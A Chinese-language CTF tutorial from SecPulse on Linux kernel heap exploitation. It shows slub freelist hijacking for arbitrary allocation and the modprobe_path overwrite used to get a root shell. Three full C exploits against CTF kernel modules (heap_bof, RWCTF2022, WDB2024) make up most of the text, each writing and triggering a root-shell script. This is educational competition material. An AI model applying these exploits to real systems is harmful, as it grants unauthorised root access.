前言
本文我们通过我们的老朋友 heap_bof
来讲解 Linux kernel
中任意地址申请的其中一种比赛比较常用的利用手法 modprobe_path
(虽然在高版本内核已经不可用了但ctf比赛还是比较常用的)。再通过两道近期比赛的赛题来讲解。
Arbitrary Address Allocation
利用思路
通过 uaf 修改 object
的 free list
指针实现任意地址分配。与 glibc
不同的是,内核的 slub
堆管理器缺少检查,因此对要分配的目标地址要求不高,不过有一点需要注意:当我们分配到目标地址时会把目标地址前 8
字节的数据会被写入 freelist
,而这通常并非一个有效的地址,从而导致 kernel panic
,因此在任意地址分配时最好确保目标 object
的 free list
字段为 NULL
。
当能够任意地址分配的时候,与 glibc 改 hook 类似,在内核中通常修改的是 modprobe_path
。 modprobe_path
是内核中的一个变量,其值为 /sbin/modprobe
,因此对于缺少符号的内核文件可以通过搜索 /sbin/modprobe
字符串的方式定位这个变量。
当我们尝试去执行(execve)一个非法的文件(file magic not found),内核会经历如下调用链:
entry_SYSCALL_64
()
sys_execve
()
do_execve
()
do_execveat_common
()
bprm_execve
()
exec_binprm
()
search_binary_handler
()
__request_module
()
// wrapped as request_module
call_modprobe
()
其中 call_modprobe()
定义于 kernel/kmod.c
,我们主要关注这部分代码:
static
int
call_modprobe
(
char
*
module_name
,
int
wait
)
{
//...
argv
[
0
]
=
modprobe_path
;
argv
[
1
]
=
"-q"
;
argv
[
2
]
=
"--"
;
argv
[
3
]
=
module_name
;
/* check free_modprobe_argv() */
argv
[
4
]
=
NULL
;
info
=
call_usermodehelper_setup
(
modprobe_path
,
argv
,
envp
,
GFP_KERNEL
,
NULL
,
free_modprobe_argv
,
NULL
);
if
(
!
info
)
goto
free_module_name
;
return
call_usermodehelper_exec
(
info
,
wait
|
UMH_KILLABLE
);
//...
在这里调用了函数 call_usermodehelper_exec()
将 modprobe_path
作为可执行文件路径以 root 权限将其执行。 我们不难想到的是:若是我们能够劫持 modprobe_path
,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件,内核将会以 root 权限执行我们的恶意脚本。
或者分析 vmlinux
即可(对于一些没有 call_modprobe()
符号的直接交叉引用即可)。
__int64
_request_module
(
char
a1
,
__int64
a2
,
double
a3
,
double
a4
,
double
a5
,
double
a6
,
double
a7
,
double
a8
,
double
a9
,
double
a10
,
...)
{
......
if
(
v19
)
{
......
v21
=
call_usermodehelper_setup
(
(
__int64
)
&
byte_FFFFFFFF82444700
,
// modprobe_path
(
__int64
)
v18
,
(
__int64
)
&
off_FFFFFFFF82444620
,
3264
,
0LL
,
(
__int64
)
free_modprobe_argv
,
0LL
);
......
}
.
data
:
FFFFFFFF82444700
byte_FFFFFFFF82444700
;
DATA
XREF
:
__request_module
:
loc_FFFFFFFF8108C6D8↑r
.
data
:
FFFFFFFF82444700
db
2F
h
;
/
;
__request_module
+
14
B↑o
...
.
data
:
FFFFFFFF82444701
db
73
h
;
s
.
data
:
FFFFFFFF82444702
db
62
h
;
b
.
data
:
FFFFFFFF82444703
db
69
h
;
i
.
data
:
FFFFFFFF82444704
db
6
Eh
;
n
.
data
:
FFFFFFFF82444705
db
2F
h
;
/
.
data
:
FFFFFFFF82444706
db
6
Dh
;
m
.
data
:
FFFFFFFF82444707
db
6F
h
;
o
.
data
:
FFFFFFFF82444708
db
64
h
;
d
.
data
:
FFFFFFFF82444709
db
70
h
;
p
.
data
:
FFFFFFFF8244470A
db
72
h
;
r
.
data
:
FFFFFFFF8244470B
db
6F
h
;
o
.
data
:
FFFFFFFF8244470C
db
62
h
;
b
.
data
:
FFFFFFFF8244470D
db
65
h
;
e
.
data
:
FFFFFFFF8244470E
db
0
exp
#include "src/pwn_helper.h"
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_WRITE 8
#define BOF_READ 9
size_t
modprobe_path
=
0xFFFFFFFF81E48140
;
size_t
seq_ops_start
=
0xffffffff81228d90
;
struct
param
{
size_t
len
;
size_t
*
buf
;
long
long
idx
;
};
void
alloc_buf
(
int
fd
,
struct
param
*
p
)
{
printf
(
"[+] kmalloc len:%lu idx:%lld\n"
,
p
->
len
,
p
->
idx
);
ioctl
(
fd
,
BOF_MALLOC
,
p
);
}
void
free_buf
(
int
fd
,
struct
param
*
p
)
{
printf
(
"[+] kfree len:%lu idx:%lld\n"
,
p
->
len
,
p
->
idx
);
ioctl
(
fd
,
BOF_FREE
,
p
);
}
void
read_buf
(
int
fd
,
struct
param
*
p
)
{
printf
(
"[+] copy_to_user len:%lu idx:%lld\n"
,
p
->
len
,
p
->
idx
);
ioctl
(
fd
,
BOF_READ
,
p
);
}
void
write_buf
(
int
fd
,
struct
param
*
p
)
{
printf
(
"[+] copy_from_user len:%lu idx:%lld\n"
,
p
->
len
,
p
->
idx
);
ioctl
(
fd
,
BOF_WRITE
,
p
);
}
int
main
()
{
// len buf idx
size_t*
buf
=
malloc
(
0x500
);
struct
param
p
=
{
0x20
,
buf
,
0
};
printf
(
"[+] user_buf : %p\n"
,
p
.
buf
);
int
bof_fd
=
open
(
"/dev/bof"
,
O_RDWR
);
if
(
bof_fd
<
0
) {
puts
(
RED
"[-] Failed to open bof."
NONE
);
exit
(
-
1
);
}
printf
(
YELLOW
"[*] try to leak kbase\n"
NONE
);
alloc_buf
(
bof_fd
,
&
p
);
free_buf
(
bof_fd
,
&
p
);
int
seq_fd
=
open
(
"/proc/self/stat"
,
O_RDONLY
);
read_buf
(
bof_fd
,
&
p
);
qword_dump
(
"leak seq_ops"
,
buf
,
0x20
);
size_t
kernel_offset
=
buf
[
0
]
-
seq_ops_start
;
printf
(
YELLOW
"[*] kernel_offset %p\n"
NONE
, (
void*
)
kernel_offset
);
modprobe_path
+=
kernel_offset
;
printf
(
LIGHT_BLUE
"[*] modprobe_path addr : %p\n"
NONE
, (
void*
)
modprobe_path
);
p
.
len
=
0xa8
;
alloc_buf
(
bof_fd
,
&
p
);
free_buf
(
bof_fd
,
&
p
);
read_buf
(
bof_fd
,
&
p
);
buf
[
0
]
=
modprobe_path
-
0x20
;
write_buf
(
bof_fd
,
&
p
);
alloc_buf
(
bof_fd
,
&
p
);
alloc_buf
(
bof_fd
,
&
p
);
read_buf
(
bof_fd
,
&
p
);
qword_dump
(
"leak modprobe_path"
,
buf
,
0x30
);
strcpy
((
char
*
)
&
buf
[
4
],
"/tmp/shell.sh\x00"
);
write_buf
(
bof_fd
,
&
p
);
read_buf
(
bof_fd
,
&
p
);
qword_dump
(
"leak modprobe_path"
,
buf
,
0x30
);
if
(
open
(
"/shell.sh"
,
O_RDWR
)
<
0
) {
system
(
"echo '#!/bin/sh' >> /tmp/shell.sh"
);
system
(
"echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /tmp/shell.sh"
);
system
(
"chmod +x /tmp/shell.sh"
);
}
system
(
"echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake"
);
system
(
"chmod +x /tmp/fake"
);
system
(
"/tmp/fake"
);
return
0
;
}
RWCTF2022 Digging into kernel 1 & 2
题目分析
start.sh
#!/bin/sh
qemu-system-x86_64 \
-kernel
bzImage \
-initrd
rootfs.img \
-append
"console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet noapic kalsr"
\
-cpu
kvm64,
+
smep,
+
smap \
-monitor
null \
--nographic
\
-s
逆向分析
int
__cdecl
xkmod_init
()
{
kmem_cache
*
v0
;
// rax
printk
(
&
unk_1E4
);
misc_register
(
&
xkmod_device
);
v0
=
(
kmem_cache
*
)
kmem_cache_create
(
"lalala"
,
192LL
,
0LL
,
0LL
,
0LL
);
buf
=
0LL
;
s
=
v0
;
return
0
;
}
int
__fastcall
xkmod_release
(
inode
*
inode
,
file
*
file
)
{
return
kmem_cache_free
(
s
,
buf
);
// maybe double free
}
void
__fastcall
xkmod_ioctl
(
__int64
a1
,
int
a2
,
__int64
a3
)
{
__int64
data
;
// [rsp+0h] [rbp-20h] BYREF
unsigned
int
idx
;
// [rsp+8h] [rbp-18h]
unsigned
int
size
;
// [rsp+Ch] [rbp-14h]
unsigned
__int64
v6
;
// [rsp+10h] [rbp-10h]
// v3 __ : 0x8 rsp + 0x0
// v4 __ : 0x4 rsp + 0x8
// v5 __ : 0x4 rsp + 0xc
v6
=
__readgsqword
(
0x28u
);
if
(
a3
)
{
copy_from_user
(
&
data
,
a3
,
0x10LL
);
if
(
a2
==
0x6666666
)
{
if
(
buf
&&
size
<=
0x50
&&
idx
<=
0x70
)
{
copy_from_user
((
char
*
)
buf
+
(
int
)
idx
,
data
, (
int
)
size
);
return
;
}
}
else
{
if
(
a2
!=
0x7777777
)
{
if
(
a2
==
0x1111111
)
buf
=
(
void
*
)
kmem_cache_alloc
(
s
,
0xCC0LL
);
return
;
}
if
(
buf
&&
size
<=
0x50
&&
idx
<=
0x70
)
{
((
void
(
__fastcall
*
)(
__int64
,
char
*
,
int
))
copy_to_user
)(
data
, (
char
*
)
buf
+
(
int
)
idx
,
size
);
return
;
}
}
xkmod_ioctl_cold
();
}
}
利用思路
关于内核基址获取,在内核堆基址( page_offset_base
) + 0x9d000 处存放着 secondary_startup_64
函数的地址,而我们可以从 free object
的 next
指针获得一个堆上地址,从而去找堆的基址,之后分配到一个 堆基址 + 0x9d000
处的 object
以泄露内核基址,这个地址前面刚好有一片为 NULL 的区域方便我们分配。
#define __PAGE_OFFSET page_offset_base
#define PAGE_OFFSET
((unsigned long)__PAGE_OFFSET)
#define __va(x)
((void *)((unsigned long)(x)+PAGE_OFFSET))
/* Must be perfomed *after* relocation. */
trampoline_header
=
(
struct
trampoline_header
*
)
__va
(
real_mode_header
->
trampoline_header
);
...
trampoline_header
->
start
=
(
u64
)
secondary_startup_64
;
[......]
// vmlinux 查找 secondary_startup_64 基址
.
text
:
FFFFFFFF81000030
;
void
secondary_startup_64
()
[......]
pwndbg
>
x
/
40
gx
(
0xffff9f5d40000000
+
0x9d000
-
0x20
0xffff9f5d4009cfe0
:
0X0000000000000000
0X0000000000000000
0xffff9f5d4009cff0
:
0X0000000000000000
0X0000000005c0c067
0xffff9f5d4009d000
:
0xffffffff97c00030
0X0000000000000901
0xffff9f5d4009d010
:
0X00000000000006b0
0X0000000000000000
0xffff9f5d4009d020
:
0X0000000000000000
0X0000000000000000
至于 page_offset_base
可以通过 object
上的 free list
泄露的堆地址与上 0xFFFFFFFFF0000000
获取。不同版本可查看 vmmap
。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>
size_t
modprobe_path
=
0xFFFFFFFF82444700
;
void
qword_dump
(
char
*
desc
,
void
*
addr
,
int
len
)
{
uint64_t
*
buf64
=
(
uint64_t
*
)
addr
;
uint8_t
*
buf8
=
(
uint8_t
*
)
addr
;
if
(
desc
!=
NULL
) {
printf
(
"[*] %s:\n"
,
desc
);
}
for
(
int
i
=
0
;
i
<
len
/
8
;
i
+=
4
) {
printf
(
" %04x"
,
i
*
8
);
for
(
int
j
=
0
;
j
<
4
;
j
++
) {
i
+
j
<
len
/
8
?
printf
(
" 0x%016lx"
,
buf64
[
i
+
j
]) :
printf
(
" "
);
}
printf
(
" "
);
for
(
int
j
=
0
;
j
<
32
&&
j
+
i
*
8
<
len
;
j
++
) {
printf
(
"%c"
,
isprint
(
buf8
[
i
*
8
+
j
])
?
buf8
[
i
*
8
+
j
] :
'.'
);
}
puts
(
""
);
}
}
struct
Data
{
size_t
*
buf
;
u_int32_t
offset
;
u_int32_t
size
;
};
void
alloc_buf
(
int
fd
,
struct
Data
*
data
)
{
ioctl
(
fd
,
0x1111111
,
data
);
}
void
write_buf
(
int
fd
,
struct
Data
*
data
)
{
ioctl
(
fd
,
0x6666666
,
data
);
}
void
read_buf
(
int
fd
,
struct
Data
*
data
)
{
ioctl
(
fd
,
0x7777777
,
data
);
}
int
main
()
{
int
xkmod_fd
[
5
];
for
(
int
i
=
0
;
i
<
5
;
i
++
) {
xkmod_fd
[
i
]
=
open
(
"/dev/xkmod"
,
O_RDONLY
);
if
(
xkmod_fd
[
i
]
<
0
) {
printf
(
"[-] %d Failed to open xkmod."
,
i
);
exit
(
-
1
);
}
}
struct
Data
data
=
{
malloc
(
0x1000
),
0
,
0x50
};
alloc_buf
(
xkmod_fd
[
0
],
&
data
);
close
(
xkmod_fd
[
0
]);
read_buf
(
xkmod_fd
[
1
],
&
data
);
qword_dump
(
"buf"
,
data
.
buf
,
0x50
);
size_t
page_offset_base
=
data
.
buf
[
0
]
&
0xFFFFFFFFF0000000
;
printf
(
"[+] page_offset_base: %p\n"
,
page_offset_base
);
data
.
buf
[
0
]
=
page_offset_base
+
0x9d000
-
0x10
;
write_buf
(
xkmod_fd
[
1
],
&
data
);
alloc_buf
(
xkmod_fd
[
1
],
&
data
);
alloc_buf
(
xkmod_fd
[
1
],
&
data
);
data
.
size
=
0x50
;
read_buf
(
xkmod_fd
[
1
],
&
data
);
qword_dump
(
"buf"
,
data
.
buf
,
0x50
);
size_t
kernel_offset
=
data
.
buf
[
2
]
-
0xffffffff81000030
;
printf
(
"kernel offset: %p\n"
,
kernel_offset
);
modprobe_path
+=
kernel_offset
;
close
(
xkmod_fd
[
1
]);
data
.
buf
[
0
]
=
modprobe_path
-
0x10
;
write_buf
(
xkmod_fd
[
2
],
&
data
);
alloc_buf
(
xkmod_fd
[
2
],
&
data
);
alloc_buf
(
xkmod_fd
[
2
],
&
data
);
strcpy
((
char
*
)
&
data
.
buf
[
2
],
"/home/shell.sh"
);
write_buf
(
xkmod_fd
[
2
],
&
data
);
if
(
open
(
"/home/shell.sh"
,
O_RDWR
)
<
0
) {
system
(
"echo '#!/bin/sh' >> /home/shell.sh"
);
system
(
"echo 'setsid cttyhack setuidgid 0 sh' >> /home/shell.sh"
);
system
(
"chmod +x /home/shell.sh"
);
}
system
(
"echo -e '\\xff\\xff\\xff\\xff' > /home/fake"
);
system
(
"chmod +x /home/fake"
);
system
(
"/home/fake"
);
return
0
;
}
WDB2024 PWN03
利用思路
基本上和 RWCTF2022 Digging into kernel 1 & 2
是一样的,这道题大家拿去练手即可,建议大家自行分析题目,我只把我的exp贴在下面,但是建议大家自己写一个exp。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>
size_t
modprobe_path
=
0xFFFFFFFF81E58B80
;
void
qword_dump
(
char
*
desc
,
void
*
addr
,
int
len
)
{
uint64_t
*
buf64
=
(
uint64_t
*
)
addr
;
uint8_t
*
buf8
=
(
uint8_t
*
)
addr
;
if
(
desc
!=
NULL
) {
printf
(
"[*] %s:\n"
,
desc
);
}
for
(
int
i
=
0
;
i
<
len
/
8
;
i
+=
4
) {
printf
(
" %04x"
,
i
*
8
);
for
(
int
j
=
0
;
j
<
4
;
j
++
) {
i
+
j
<
len
/
8
?
printf
(
" 0x%016lx"
,
buf64
[
i
+
j
]) :
printf
(
" "
);
}
printf
(
" "
);
for
(
int
j
=
0
;
j
<
32
&&
j
+
i
*
8
<
len
;
j
++
) {
printf
(
"%c"
,
isprint
(
buf8
[
i
*
8
+
j
])
?
buf8
[
i
*
8
+
j
] :
'.'
);
}
puts
(
""
);
}
}
void
alloc_buf
(
int
fd
,
int
size
)
{
printf
(
"[+] kmalloc %d\n"
,
size
);
ioctl
(
fd
,
0x0
,
size
);
}
void
free_buf
(
int
fd
)
{
printf
(
"[+] kfree\n"
);
ioctl
(
fd
,
0x1
,
0
);
}
void
read_buf
(
int
fd
,
size_t*
buf
,
int
size
)
{
printf
(
"[+] copy_to_user %d\n"
,
size
);
read
(
fd
,
buf
,
size
);
qword_dump
(
"read_buf"
,
buf
,
size
);
}
void
write_buf
(
int
fd
,
size_t*
buf
,
int
size
)
{
printf
(
"[+] copy_from_user %d\n"
,
size
);
qword_dump
(
"write_buf"
,
buf
,
size
);
write
(
fd
,
buf
,
size
);
}
int
main
()
{
size_t*
buf
=
malloc
(
0x500
);
int
easy_fd
;
easy_fd
=
open
(
"/dev/easy"
,
O_RDWR
);
alloc_buf
(
easy_fd
,
0xa8
);
free_buf
(
easy_fd
);
read_buf
(
easy_fd
,
buf
,
0xa8
);
size_t
page_offset_base
=
buf
[
0
]
&
0xFFFFFFFFF0000000
;
printf
(
"[*] page_offset_base %p\n"
,
page_offset_base
);
buf
[
0
]
=
page_offset_base
+
0x9d000
-
0x10
;
write_buf
(
easy_fd
,
buf
,
0x8
);
alloc_buf
(
easy_fd
,
0xa8
);
alloc_buf
(
easy_fd
,
0xa8
);
read_buf
(
easy_fd
,
buf
,
0xa8
);
size_t
kernel_offset
=
buf
[
2
]
-
0xFFFFFFFF81000110
;
printf
(
"[*] kernel offset: %p\n"
,
kernel_offset
);
modprobe_path
+=
kernel_offset
;
buf
[
0
]
=
modprobe_path
-
0x20
;
alloc_buf
(
easy_fd
,
0xa8
);
free_buf
(
easy_fd
);
write_buf
(
easy_fd
,
buf
,
0x8
);
alloc_buf
(
easy_fd
,
0xa8
);
alloc_buf
(
easy_fd
,
0xa8
);
read_buf
(
easy_fd
,
buf
,
0x20
);
strcpy
((
char
*
)
&
buf
[
4
],
"/shell.sh\x00"
);
write_buf
(
easy_fd
,
buf
,
0x30
);
if
(
open
(
"/shell.sh"
,
O_RDWR
)
<
0
) {
system
(
"echo '#!/bin/sh' >> /shell.sh"
);
system
(
"echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /shell.sh"
);
system
(
"chmod +x /shell.sh"
);
}
system
(
"echo -e '\\xff\\xff\\xff\\xff' > /fake"
);
system
(
"chmod +x /fake"
);
system
(
"/fake"
);
return
0
;
}
本文作者: dingjiacan@antvsion.com
本文为安全脉搏专栏作者发布,转载请注明: https://www.secpulse.com/archives/205676.html